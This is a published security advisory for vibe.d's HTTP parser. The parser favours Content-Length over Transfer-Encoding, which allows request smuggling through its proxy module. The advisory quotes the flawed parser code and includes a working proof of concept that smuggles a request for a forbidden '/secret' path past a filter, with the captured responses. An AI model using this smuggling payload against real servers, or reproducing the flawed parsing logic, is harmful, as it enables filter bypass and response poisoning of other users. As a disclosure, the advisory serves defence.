Skip to content

Request Smuggling via Content-Length / Transfer-Encoding Conflict in vibe.d HTTP Parser

Moderate
s-ludwig published GHSA-hm69-r6ch-92wx Oct 15, 2025

Package

vibe-http (Dub)

Affected versions

<1.3.2

Patched versions

1.3.3

Description

Summary

When vibe.d’s HTTP parser receives a request containing both Content-Length and Transfer-Encoding headers, it erroneously gives priority to Content-Length rather than honoring Transfer-Encoding or rejecting the request. This behaviour violates the mandate in RFC 9112 § 6.3 and can lead to HTTP request smuggling attacks (especially in the context of vibe.http.proxy).

This is a high-severity parsing inconsistency vulnerability that allows an attacker to desynchronize request framing between front-end and back-end components, possibly injecting requests, allowing phishing or escalate a Self-XSS into a Stored-XSS.

Details

The HTTP/1.1 parser in vibe.http currently prioritizes Content-Length over Transfer-Encoding when both headers are present. The problematic code is written here:

		// limit request size
		if (auto pcl = "Content-Length" in req.headers) {
			string v = *pcl;
			auto contentLength = parse!ulong(v); // DMDBUG: to! thinks there is a H in the string
			enforceBadRequest(v.length == 0, "Invalid content-length");
			enforceBadRequest(settings.maxRequestSize <= 0 || contentLength <= settings.maxRequestSize, "Request size too big");
			limited_http_input_stream = FreeListRef!LimitedHTTPInputStream(reqReader, contentLength);
		} else if (auto pt = "Transfer-Encoding" in req.headers) {
			enforceBadRequest(icmp2(*pt, "chunked") == 0);
			chunked_input_stream = createChunkedInputStreamFL(reqReader);
			InputStreamProxy ciproxy = chunked_input_stream;
			limited_http_input_stream = FreeListRef!LimitedHTTPInputStream(ciproxy, settings.maxRequestSize, true);
		} else {
			limited_http_input_stream = FreeListRef!LimitedHTTPInputStream(reqReader, 0);
		}

This behavior directly contradicts RFC 9112 § 6.3, which states:

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 11.2) or response splitting (Section 11.1) and ought to be handled as an error. An intermediary that chooses to forward the message MUST first remove the received Content-Length field and process the Transfer-Encoding (as described below) prior to forwarding the message downstream.

The practical risk is magnified when the vibe.http.proxy module is used: if the proxy receives such a dual-header request and forwards it keeping the Content-Length frame, while the downstream server (e.g. one using hyper) expects a request obeying Transfer-Encoding over Content-Length, a request smuggling attack becomes possible via mismatched framing.

PoC

Here, we use Deno server as backend which uses hyper as HTTP parser.

import std.stdio;
import std.string;
import vibe.core.core;
import vibe.core.log;
import vibe.http.proxy;
import vibe.http.router;
import vibe.http.client;
import vibe.stream.operations;
import core.thread;

int main(string[] args)
{

    setLogLevel(LogLevel.trace);
    auto settings = new HTTPServerSettings;
    settings.port = 8080;
    settings.bindAddresses = ["0.0.0.0"];

    auto router = new URLRouter;
    auto proxyHandler = reverseProxyRequest("0.0.0.0", 9999); // Points to Deno server

	router.get("/test", (HTTPServerRequest req, HTTPServerResponse res) {

		auto conn = connectTCP("0.0.0.0", 8080);
		conn.write(
			"GET / HTTP/1.1\r\n" ~
			"Host: localhost\r\n" ~
			"Content-Length: 65\r\n" ~
			"Transfer-Encoding: x, chunked\r\n" ~
			"\r\n" ~ 
			"0\r\n" ~ 
			"\r\n" ~ 
			"GET /secret HTTP/1.1\r\n" ~
			"Host: localhost\r\n" ~
			"Content-Length: 0\r\n" ~
			"\r\n"
		);
		ubyte[500] buf1;
		conn.read(buf1, IOMode.once);
		Thread.sleep(1.seconds);
		conn.write(
			"GET / HTTP/1.1\r\n" ~
			"Host: localhost\r\n" ~
			"Content-Length: 0\r\n" ~
			"\r\n"
		);
		ubyte[500] buf2;
		conn.read(buf2, IOMode.once);
		res.writeBody(
			"First Response:\n\n" ~
			strip(cast(string)buf1, "\0") ~
			"\nSecond Response:\n\n" ~
			strip(cast(string)buf2, "\0")
		);
	});

    router.get("*", (HTTPServerRequest req, HTTPServerResponse res) {
		auto url = URL(req.requestURL);
		enforceHTTP(url.pathString.indexOf("secret") == -1, HTTPStatus.badRequest, "Forbidden path");
		return proxyHandler(req, res);
	});

    listenHTTP(settings, router);

    return runApplication(&args);
}

Deno server:

import { Application, Router } from "https://deno.land/x/oak@v17.1.6/mod.ts";

const router = new Router();
router.get("/", (ctx) => {
  ctx.response.body = "Hello from Oak!";
});
router.get("/secret", (ctx) => {
  ctx.response.body = "this is secret";
});

const app = new Application();
app.use(router.routes());
app.use(router.allowedMethods());

await app.listen({ port: 9999 });

Result (may differ if the connection is not reused):

First Response:

HTTP/1.1 200 OK
Server: vibe.d/2.13.1
Date: Mon, 13 Oct 2025 18:27:39 GMT
Keep-Alive: timeout=10
content-type: text/plain; charset=UTF-8
vary: Accept-Encoding
content-length: 15
date: Mon, 13 Oct 2025 18:27:36 GMT

Hello from Oak!
Second Response:

HTTP/1.1 200 OK
Server: vibe.d/2.13.1
Date: Mon, 13 Oct 2025 18:27:40 GMT
Keep-Alive: timeout=10
content-type: text/plain; charset=UTF-8
vary: Accept-Encoding
content-length: 14
date: Mon, 13 Oct 2025 18:27:36 GMT

this is secret                                                                 

Impact

This request smuggling can be abused in two ways:

  • If the proxy server filters or sanitizes requests before sending them to the backend, a smuggled request can bypass those filters, reaching backend logic that normally wouldn't see them.
  • vibe.http.proxy attempts to reuse the same backend connection when possible, even if the original request was made by a different client. Thus, the response to a smuggled request may be delivered to a different user. This can lead to session fixation, malicious redirects to phishing pages, or the escalation of Self-XSS into Stored-XSS.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits